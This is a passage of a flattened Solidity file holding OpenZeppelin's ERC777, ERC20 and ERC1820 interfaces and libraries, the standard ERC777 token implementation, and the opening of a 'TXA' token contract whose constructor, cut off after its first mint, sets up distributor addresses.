* @dev Interface of the ERC777Token standard as defined in the EIP.
*
* This contract uses the
* https://eips.ethereum.org/EIPS/eip-1820[ERC1820 registry standard] to let
* token holders and recipients react to token movements by using setting implementers
* for the associated interfaces in said registry. See {IERC1820Registry} and
* {ERC1820Implementer}.
*/
interface IERC777 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the smallest part of the token that is not divisible. This
* means all token operations (creation, movement and destruction) must have
* amounts that are a multiple of this number.
*
* For most token contracts, this value will equal 1.
*/
function granularity() external view returns (uint256);
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by an account (`owner`).
*/
function balanceOf(address owner) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* If send or receive hooks are registered for the caller and `recipient`,
* the corresponding functions will be called with `data` and empty
* `operatorData`. See {IERC777Sender} and {IERC777Recipient}.
*
* Emits a {Sent} event.
*
* Requirements
*
* - the caller must have at least `amount` tokens.
* - `recipient` cannot be the zero address.
* - if `recipient` is a contract, it must implement the {IERC777Recipient}
* interface.
*/
function send(address recipient, uint256 amount, bytes calldata data) external;
/**
* @dev Destroys `amount` tokens from the caller's account, reducing the
* total supply.
*
* If a send hook is registered for the caller, the corresponding function
* will be called with `data` and empty `operatorData`. See {IERC777Sender}.
*
* Emits a {Burned} event.
*
* Requirements
*
* - the caller must have at least `amount` tokens.
*/
function burn(uint256 amount, bytes calldata data) external;
/**
* @dev Returns true if an account is an operator of `tokenHolder`.
* Operators can send and burn tokens on behalf of their owners. All
* accounts are their own operator.
*
* See {operatorSend} and {operatorBurn}.
*/
function isOperatorFor(address operator, address tokenHolder) external view returns (bool);
/**
* @dev Make an account an operator of the caller.
*
* See {isOperatorFor}.
*
* Emits an {AuthorizedOperator} event.
*
* Requirements
*
* - `operator` cannot be calling address.
*/
function authorizeOperator(address operator) external;
/**
* @dev Revoke an account's operator status for the caller.
*
* See {isOperatorFor} and {defaultOperators}.
*
* Emits a {RevokedOperator} event.
*
* Requirements
*
* - `operator` cannot be calling address.
*/
function revokeOperator(address operator) external;
/**
* @dev Returns the list of default operators. These accounts are operators
* for all token holders, even if {authorizeOperator} was never called on
* them.
*
* This list is immutable, but individual holders may revoke these via
* {revokeOperator}, in which case {isOperatorFor} will return false.
*/
function defaultOperators() external view returns (address[] memory);
/**
* @dev Moves `amount` tokens from `sender` to `recipient`. The caller must
* be an operator of `sender`.
*
* If send or receive hooks are registered for `sender` and `recipient`,
* the corresponding functions will be called with `data` and
* `operatorData`. See {IERC777Sender} and {IERC777Recipient}.
*
* Emits a {Sent} event.
*
* Requirements
*
* - `sender` cannot be the zero address.
* - `sender` must have at least `amount` tokens.
* - the caller must be an operator for `sender`.
* - `recipient` cannot be the zero address.
* - if `recipient` is a contract, it must implement the {IERC777Recipient}
* interface.
*/
function operatorSend(
address sender,
address recipient,
uint256 amount,
bytes calldata data,
bytes calldata operatorData
) external;
/**
* @dev Destroys `amount` tokens from `account`, reducing the total supply.
* The caller must be an operator of `account`.
*
* If a send hook is registered for `account`, the corresponding function
* will be called with `data` and `operatorData`. See {IERC777Sender}.
*
* Emits a {Burned} event.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
* - the caller must be an operator for `account`.
*/
function operatorBurn(
address account,
uint256 amount,
bytes calldata data,
bytes calldata operatorData
) external;
event Sent(
address indexed operator,
address indexed from,
address indexed to,
uint256 amount,
bytes data,
bytes operatorData
);
event Minted(address indexed operator, address indexed to, uint256 amount, bytes data, bytes operatorData);
event Burned(address indexed operator, address indexed from, uint256 amount, bytes data, bytes operatorData);
event AuthorizedOperator(address indexed operator, address indexed tokenHolder);
event RevokedOperator(address indexed operator, address indexed tokenHolder);
}
// File @openzeppelin/contracts/token/ERC777/[email protected]
// License: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC777TokensRecipient standard as defined in the EIP.
*
* Accounts can be notified of {IERC777} tokens being sent to them by having a
* contract implement this interface (contract holders can be their own
* implementer) and registering it on the
* https://eips.ethereum.org/EIPS/eip-1820[ERC1820 global registry].
*
* See {IERC1820Registry} and {ERC1820Implementer}.
*/
interface IERC777Recipient {
/**
* @dev Called by an {IERC777} token contract whenever tokens are being
* moved or created into a registered account (`to`). The type of operation
* is conveyed by `from` being the zero address or not.
*
* This call occurs _after_ the token contract's state is updated, so
* {IERC777-balanceOf}, etc., can be used to query the post-operation state.
*
* This function may revert to prevent the operation from being executed.
*/
function tokensReceived(
address operator,
address from,
address to,
uint256 amount,
bytes calldata userData,
bytes calldata operatorData
) external;
}
// File @openzeppelin/contracts/token/ERC777/[email protected]
// License: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC777TokensSender standard as defined in the EIP.
*
* {IERC777} Token holders can be notified of operations performed on their
* tokens by having a contract implement this interface (contract holders can be
* their own implementer) and registering it on the
* https://eips.ethereum.org/EIPS/eip-1820[ERC1820 global registry].
*
* See {IERC1820Registry} and {ERC1820Implementer}.
*/
interface IERC777Sender {
/**
* @dev Called by an {IERC777} token contract whenever a registered holder's
* (`from`) tokens are about to be moved or destroyed. The type of operation
* is conveyed by `to` being the zero address or not.
*
* This call occurs _before_ the token contract's state is updated, so
* {IERC777-balanceOf}, etc., can be used to query the pre-operation state.
*
* This function may revert to prevent the operation from being executed.
*/
function tokensToSend(
address operator,
address from,
address to,
uint256 amount,
bytes calldata userData,
bytes calldata operatorData
) external;
}
// File @openzeppelin/contracts/token/ERC20/[email protected]
// License: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File @openzeppelin/contracts/utils/[email protected]
// License: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File @openzeppelin/contracts/utils/[email protected]
// License: MIT
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File @openzeppelin/contracts/utils/introspection/[email protected]
// License: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the global ERC1820 Registry, as defined in the
* https://eips.ethereum.org/EIPS/eip-1820[EIP]. Accounts may register
* implementers for interfaces in this registry, as well as query support.
*
* Implementers may be shared by multiple accounts, and can also implement more
* than a single interface for each account. Contracts can implement interfaces
* for themselves, but externally-owned accounts (EOA) must delegate this to a
* contract.
*
* {IERC165} interfaces can also be queried via the registry.
*
* For an in-depth explanation and source code analysis, see the EIP text.
*/
interface IERC1820Registry {
/**
* @dev Sets `newManager` as the manager for `account`. A manager of an
* account is able to set interface implementers for it.
*
* By default, each account is its own manager. Passing a value of `0x0` in
* `newManager` will reset the manager to this initial state.
*
* Emits a {ManagerChanged} event.
*
* Requirements:
*
* - the caller must be the current manager for `account`.
*/
function setManager(address account, address newManager) external;
/**
* @dev Returns the manager for `account`.
*
* See {setManager}.
*/
function getManager(address account) external view returns (address);
/**
* @dev Sets the `implementer` contract as ``account``'s implementer for
* `interfaceHash`.
*
* `account` being the zero address is an alias for the caller's address.
* The zero address can also be used in `implementer` to remove an old one.
*
* See {interfaceHash} to learn how these are created.
*
* Emits an {InterfaceImplementerSet} event.
*
* Requirements:
*
* - the caller must be the current manager for `account`.
* - `interfaceHash` must not be an {IERC165} interface id (i.e. it must not
* end in 28 zeroes).
* - `implementer` must implement {IERC1820Implementer} and return true when
* queried for support, unless `implementer` is the caller. See
* {IERC1820Implementer-canImplementInterfaceForAddress}.
*/
function setInterfaceImplementer(address account, bytes32 _interfaceHash, address implementer) external;
/**
* @dev Returns the implementer of `interfaceHash` for `account`. If no such
* implementer is registered, returns the zero address.
*
* If `interfaceHash` is an {IERC165} interface id (i.e. it ends with 28
* zeroes), `account` will be queried for support of it.
*
* `account` being the zero address is an alias for the caller's address.
*/
function getInterfaceImplementer(address account, bytes32 _interfaceHash) external view returns (address);
/**
* @dev Returns the interface hash for an `interfaceName`, as defined in the
* corresponding
* https://eips.ethereum.org/EIPS/eip-1820#interface-name[section of the EIP].
*/
function interfaceHash(string calldata interfaceName) external pure returns (bytes32);
/**
* @notice Updates the cache with whether the contract implements an ERC165 interface or not.
* @param account Address of the contract for which to update the cache.
* @param interfaceId ERC165 interface for which to update the cache.
*/
function updateERC165Cache(address account, bytes4 interfaceId) external;
/**
* @notice Checks whether a contract implements an ERC165 interface or not.
* If the result is not cached a direct lookup on the contract address is performed.
* If the result is not cached or the cached value is out-of-date, the cache MUST be updated manually by calling
* {updateERC165Cache} with the contract address.
* @param account Address of the contract to check.
* @param interfaceId ERC165 interface to check.
* @return True if `account` implements `interfaceId`, false otherwise.
*/
function implementsERC165Interface(address account, bytes4 interfaceId) external view returns (bool);
/**
* @notice Checks whether a contract implements an ERC165 interface or not without using nor updating the cache.
* @param account Address of the contract to check.
* @param interfaceId ERC165 interface to check.
* @return True if `account` implements `interfaceId`, false otherwise.
*/
function implementsERC165InterfaceNoCache(address account, bytes4 interfaceId) external view returns (bool);
event InterfaceImplementerSet(address indexed account, bytes32 indexed interfaceHash, address indexed implementer);
event ManagerChanged(address indexed account, address indexed newManager);
}
// File @openzeppelin/contracts/token/ERC777/[email protected]
// License: MIT
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC777} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
*
* Support for ERC20 is included in this contract, as specified by the EIP: both
* the ERC777 and ERC20 interfaces can be safely used when interacting with it.
* Both {IERC777-Sent} and {IERC20-Transfer} events are emitted on token
* movements.
*
* Additionally, the {IERC777-granularity} value is hard-coded to `1`, meaning that there
* are no special restrictions in the amount of tokens that created, moved, or
* destroyed. This makes integration with ERC20 applications seamless.
*/
contract ERC777 is Context, IERC777, IERC20 {
using Address for address;
IERC1820Registry constant internal _ERC1820_REGISTRY = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24);
mapping(address => uint256) private _balances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
bytes32 private constant _TOKENS_SENDER_INTERFACE_HASH = keccak256("ERC777TokensSender");
bytes32 private constant _TOKENS_RECIPIENT_INTERFACE_HASH = keccak256("ERC777TokensRecipient");
// This isn't ever read from - it's only used to respond to the defaultOperators query.
address[] private _defaultOperatorsArray;
// Immutable, but accounts may revoke them (tracked in __revokedDefaultOperators).
mapping(address => bool) private _defaultOperators;
// For each account, a mapping of its operators and revoked default operators.
mapping(address => mapping(address => bool)) private _operators;
mapping(address => mapping(address => bool)) private _revokedDefaultOperators;
// ERC20-allowances
mapping (address => mapping (address => uint256)) private _allowances;
/**
* @dev `defaultOperators` may be an empty array.
*/
constructor(
string memory name_,
string memory symbol_,
address[] memory defaultOperators_
) {
_name = name_;
_symbol = symbol_;
_defaultOperatorsArray = defaultOperators_;
for (uint256 i = 0; i < defaultOperators_.length; i++) {
_defaultOperators[defaultOperators_[i]] = true;
}
// register interfaces
_ERC1820_REGISTRY.setInterfaceImplementer(address(this), keccak256("ERC777Token"), address(this));
_ERC1820_REGISTRY.setInterfaceImplementer(address(this), keccak256("ERC20Token"), address(this));
}
/**
* @dev See {IERC777-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC777-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {ERC20-decimals}.
*
* Always returns 18, as per the
* [ERC777 EIP](https://eips.ethereum.org/EIPS/eip-777#backward-compatibility).
*/
function decimals() public pure virtual returns (uint8) {
return 18;
}
/**
* @dev See {IERC777-granularity}.
*
* This implementation always returns `1`.
*/
function granularity() public view virtual override returns (uint256) {
return 1;
}
/**
* @dev See {IERC777-totalSupply}.
*/
function totalSupply() public view virtual override(IERC20, IERC777) returns (uint256) {
return _totalSupply;
}
/**
* @dev Returns the amount of tokens owned by an account (`tokenHolder`).
*/
function balanceOf(address tokenHolder) public view virtual override(IERC20, IERC777) returns (uint256) {
return _balances[tokenHolder];
}
/**
* @dev See {IERC777-send}.
*
* Also emits a {IERC20-Transfer} event for ERC20 compatibility.
*/
function send(address recipient, uint256 amount, bytes memory data) public virtual override {
_send(_msgSender(), recipient, amount, data, "", true);
}
/**
* @dev See {IERC20-transfer}.
*
* Unlike `send`, `recipient` is _not_ required to implement the {IERC777Recipient}
* interface if it is a contract.
*
* Also emits a {Sent} event.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
require(recipient != address(0), "ERC777: transfer to the zero address");
address from = _msgSender();
_callTokensToSend(from, from, recipient, amount, "", "");
_move(from, from, recipient, amount, "", "");
_callTokensReceived(from, from, recipient, amount, "", "", false);
return true;
}
/**
* @dev See {IERC777-burn}.
*
* Also emits a {IERC20-Transfer} event for ERC20 compatibility.
*/
function burn(uint256 amount, bytes memory data) public virtual override {
_burn(_msgSender(), amount, data, "");
}
/**
* @dev See {IERC777-isOperatorFor}.
*/
function isOperatorFor(address operator, address tokenHolder) public view virtual override returns (bool) {
return operator == tokenHolder ||
(_defaultOperators[operator] && !_revokedDefaultOperators[tokenHolder][operator]) ||
_operators[tokenHolder][operator];
}
/**
* @dev See {IERC777-authorizeOperator}.
*/
function authorizeOperator(address operator) public virtual override {
require(_msgSender() != operator, "ERC777: authorizing self as operator");
if (_defaultOperators[operator]) {
delete _revokedDefaultOperators[_msgSender()][operator];
} else {
_operators[_msgSender()][operator] = true;
}
emit AuthorizedOperator(operator, _msgSender());
}
/**
* @dev See {IERC777-revokeOperator}.
*/
function revokeOperator(address operator) public virtual override {
require(operator != _msgSender(), "ERC777: revoking self as operator");
if (_defaultOperators[operator]) {
_revokedDefaultOperators[_msgSender()][operator] = true;
} else {
delete _operators[_msgSender()][operator];
}
emit RevokedOperator(operator, _msgSender());
}
/**
* @dev See {IERC777-defaultOperators}.
*/
function defaultOperators() public view virtual override returns (address[] memory) {
return _defaultOperatorsArray;
}
/**
* @dev See {IERC777-operatorSend}.
*
* Emits {Sent} and {IERC20-Transfer} events.
*/
function operatorSend(
address sender,
address recipient,
uint256 amount,
bytes memory data,
bytes memory operatorData
)
public
virtual
override
{
require(isOperatorFor(_msgSender(), sender), "ERC777: caller is not an operator for holder");
_send(sender, recipient, amount, data, operatorData, true);
}
/**
* @dev See {IERC777-operatorBurn}.
*
* Emits {Burned} and {IERC20-Transfer} events.
*/
function operatorBurn(address account, uint256 amount, bytes memory data, bytes memory operatorData) public virtual override {
require(isOperatorFor(_msgSender(), account), "ERC777: caller is not an operator for holder");
_burn(account, amount, data, operatorData);
}
/**
* @dev See {IERC20-allowance}.
*
* Note that operator and allowance concepts are orthogonal: operators may
* not have allowance, and accounts with allowance may not be operators
* themselves.
*/
function allowance(address holder, address spender) public view virtual override returns (uint256) {
return _allowances[holder][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Note that accounts cannot have allowance issued by their operators.
*/
function approve(address spender, uint256 value) public virtual override returns (bool) {
address holder = _msgSender();
_approve(holder, spender, value);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Note that operator and allowance concepts are orthogonal: operators cannot
* call `transferFrom` (unless they have allowance), and accounts with
* allowance cannot call `operatorSend` (unless they are operators).
*
* Emits {Sent}, {IERC20-Transfer} and {IERC20-Approval} events.
*/
function transferFrom(address holder, address recipient, uint256 amount) public virtual override returns (bool) {
require(recipient != address(0), "ERC777: transfer to the zero address");
require(holder != address(0), "ERC777: transfer from the zero address");
address spender = _msgSender();
_callTokensToSend(spender, holder, recipient, amount, "", "");
_move(spender, holder, recipient, amount, "", "");
uint256 currentAllowance = _allowances[holder][spender];
require(currentAllowance >= amount, "ERC777: transfer amount exceeds allowance");
_approve(holder, spender, currentAllowance - amount);
_callTokensReceived(spender, holder, recipient, amount, "", "", false);
return true;
}
/**
* @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* If a send hook is registered for `account`, the corresponding function
* will be called with `operator`, `data` and `operatorData`.
*
* See {IERC777Sender} and {IERC777Recipient}.
*
* Emits {Minted} and {IERC20-Transfer} events.
*
* Requirements
*
* - `account` cannot be the zero address.
* - if `account` is a contract, it must implement the {IERC777Recipient}
* interface.
*/
function _mint(
address account,
uint256 amount,
bytes memory userData,
bytes memory operatorData
)
internal
virtual
{
_mint(account, amount, userData, operatorData, true);
}
/**
* @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* If `requireReceptionAck` is set to true, and if a send hook is
* registered for `account`, the corresponding function will be called with
* `operator`, `data` and `operatorData`.
*
* See {IERC777Sender} and {IERC777Recipient}.
*
* Emits {Minted} and {IERC20-Transfer} events.
*
* Requirements
*
* - `account` cannot be the zero address.
* - if `account` is a contract, it must implement the {IERC777Recipient}
* interface.
*/
function _mint(
address account,
uint256 amount,
bytes memory userData,
bytes memory operatorData,
bool requireReceptionAck
)
internal
virtual
{
require(account != address(0), "ERC777: mint to the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, address(0), account, amount);
// Update state variables
_totalSupply += amount;
_balances[account] += amount;
_callTokensReceived(operator, address(0), account, amount, userData, operatorData, requireReceptionAck);
emit Minted(operator, account, amount, userData, operatorData);
emit Transfer(address(0), account, amount);
}
/**
* @dev Send tokens
* @param from address token holder address
* @param to address recipient address
* @param amount uint256 amount of tokens to transfer
* @param userData bytes extra information provided by the token holder (if any)
* @param operatorData bytes extra information provided by the operator (if any)
* @param requireReceptionAck if true, contract recipients are required to implement ERC777TokensRecipient
*/
function _send(
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData,
bool requireReceptionAck
)
internal
virtual
{
require(from != address(0), "ERC777: send from the zero address");
require(to != address(0), "ERC777: send to the zero address");
address operator = _msgSender();
_callTokensToSend(operator, from, to, amount, userData, operatorData);
_move(operator, from, to, amount, userData, operatorData);
_callTokensReceived(operator, from, to, amount, userData, operatorData, requireReceptionAck);
}
/**
* @dev Burn tokens
* @param from address token holder address
* @param amount uint256 amount of tokens to burn
* @param data bytes extra information provided by the token holder
* @param operatorData bytes extra information provided by the operator (if any)
*/
function _burn(
address from,
uint256 amount,
bytes memory data,
bytes memory operatorData
)
internal
virtual
{
require(from != address(0), "ERC777: burn from the zero address");
address operator = _msgSender();
_callTokensToSend(operator, from, address(0), amount, data, operatorData);
_beforeTokenTransfer(operator, from, address(0), amount);
// Update state variables
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC777: burn amount exceeds balance");
_balances[from] = fromBalance - amount;
_totalSupply -= amount;
emit Burned(operator, from, amount, data, operatorData);
emit Transfer(from, address(0), amount);
}
function _move(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData
)
private
{
_beforeTokenTransfer(operator, from, to, amount);
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC777: transfer amount exceeds balance");
_balances[from] = fromBalance - amount;
_balances[to] += amount;
emit Sent(operator, from, to, amount, userData, operatorData);
emit Transfer(from, to, amount);
}
/**
* @dev See {ERC20-_approve}.
*
* Note that accounts cannot have allowance issued by their operators.
*/
function _approve(address holder, address spender, uint256 value) internal {
require(holder != address(0), "ERC777: approve from the zero address");
require(spender != address(0), "ERC777: approve to the zero address");
_allowances[holder][spender] = value;
emit Approval(holder, spender, value);
}
/**
* @dev Call from.tokensToSend() if the interface is registered
* @param operator address operator requesting the transfer
* @param from address token holder address
* @param to address recipient address
* @param amount uint256 amount of tokens to transfer
* @param userData bytes extra information provided by the token holder (if any)
* @param operatorData bytes extra information provided by the operator (if any)
*/
function _callTokensToSend(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData
)
private
{
address implementer = _ERC1820_REGISTRY.getInterfaceImplementer(from, _TOKENS_SENDER_INTERFACE_HASH);
if (implementer != address(0)) {
IERC777Sender(implementer).tokensToSend(operator, from, to, amount, userData, operatorData);
}
}
/**
* @dev Call to.tokensReceived() if the interface is registered. Reverts if the recipient is a contract but
* tokensReceived() was not registered for the recipient
* @param operator address operator requesting the transfer
* @param from address token holder address
* @param to address recipient address
* @param amount uint256 amount of tokens to transfer
* @param userData bytes extra information provided by the token holder (if any)
* @param operatorData bytes extra information provided by the operator (if any)
* @param requireReceptionAck if true, contract recipients are required to implement ERC777TokensRecipient
*/
function _callTokensReceived(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData,
bool requireReceptionAck
)
private
{
address implementer = _ERC1820_REGISTRY.getInterfaceImplementer(to, _TOKENS_RECIPIENT_INTERFACE_HASH);
if (implementer != address(0)) {
IERC777Recipient(implementer).tokensReceived(operator, from, to, amount, userData, operatorData);
} else if (requireReceptionAck) {
require(!to.isContract(), "ERC777: token recipient contract has no implementer for ERC777TokensRecipient");
}
}
/**
* @dev Hook that is called before any token transfer. This includes
* calls to {send}, {transfer}, {operatorSend}, minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address operator, address from, address to, uint256 amount) internal virtual { }
}
// File contracts/TXA.sol
// License: GPL-3.0-or-later
/**
* Copyright (C) 2021 TXA Pte. Ltd.
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
* See the GNU General Public License for more details.
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity ^0.8.3;
contract TXA is ERC777 {
address public manager;
bool public transferFlag = false;
mapping(address => bool) public distributors;
mapping(address => bool) public restricted;
/**
* @dev `defaultOperators` may be an empty array.
*/
constructor(
address[] memory defaultOperators,
address _manager,
address founders,
address operations,
address advisors,
address seed,
address privateSale,
address foundation,
address reserve
) public ERC777("TXA", "TXA", defaultOperators) {
manager = _manager;
uint256 wholeTokenMul = 10 ** uint256(decimals());
distributors[msg.sender] = true;
distributors[manager] = true;
distributors[founders] = true;
distributors[operations] = true;
distributors[advisors] = true;
distributors[seed] = true;
distributors[privateSale] = true;
distributors[foundation] = true;
distributors[reserve] = true;
_mint(msg.sender, wholeTokenMul * 50000000, "", "");
